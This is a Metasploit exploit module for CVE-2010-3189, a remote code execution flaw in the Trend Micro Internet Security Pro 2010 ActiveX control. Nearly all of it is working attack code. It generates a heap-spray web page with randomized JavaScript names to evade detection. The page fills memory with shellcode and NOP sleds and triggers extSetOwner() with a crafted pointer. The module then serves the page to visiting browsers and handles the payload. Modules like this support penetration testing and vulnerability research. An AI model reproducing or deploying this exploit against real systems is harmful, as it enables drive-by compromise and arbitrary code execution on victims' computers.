##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# trendmicro_extsetowner.rb
#
# Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
#  - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows XP SP3
#  - Trend Micro Internet Security Pro 2010 on Internet Explorer 7, Windows Vista SP2
#
# UfPBCtrl.dll version tested:
# File Version: 17.50.0.1366
# ClassID: 15DBC3F9-9F0A-472E-8061-043D9CEC52F0
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
#  - CVE-2010-3189
#  - OSVDB 67561
#  - http://www.zerodayinitiative.com/advisories/ZDI-10-165/ - Original advisory by Andrea Micalizzi aka rgod via Zero Day Initiative
#  - https://www.exploit-db.com/exploits/14878/ - MOAUB #03 exploit
#  - https://www.exploit-db.com/trend-micro-internet-security-pro-2010-activex-extsetowner-remote-code-execution/ - MOAUB #03 binary analysis
#  - http://www.rec-sec.com/2010/09/28/trend-micro-internet-security-2010-rce-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution',
      'Description'    => %q{
          This module exploits a remote code execution vulnerability in Trend Micro
        Internet Security Pro 2010 ActiveX.
        When sending an invalid pointer to the extSetOwner() function of UfPBCtrl.dll
        an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
      'References'     =>
        [
          [ 'CVE', '2010-3189' ],
          [ 'OSVDB', '67561'],
          [ 'ZDI', '10-165' ],	# Andrea Micalizzi aka rgod via Zero Day Initiative
          [ 'EDB', '14878' ],		# MOAUB #03
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x00C750A1 } ] #??
        ],
      'DisclosureDate' => 'Aug 25 2010',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops      = Rex::Text.to_unescape(make_nops(4))
    ret  	  = Rex::Text.to_unescape([target.ret].pack('V'))
    blocksize = 0x40000
    fillto    = 500

    # ActiveX parameters
    clsid 	= "15DBC3F9-9F0A-472E-8061-043D9CEC52F0"

    # Randomize the javascript variable names
    ufpbctrl     = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_ret        = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)
    randnop      = rand_text_alpha(rand(100) + 1)

    html = %Q|<html>
<object classid='clsid:#{clsid}' id='#{ufpbctrl}'></object>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{randnop} = "#{nops}";
var #{j_nops} = unescape(#{randnop});
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
  #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}
#{ufpbctrl}.extSetOwner(unescape('#{ret}'));
</script>
</html>|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end
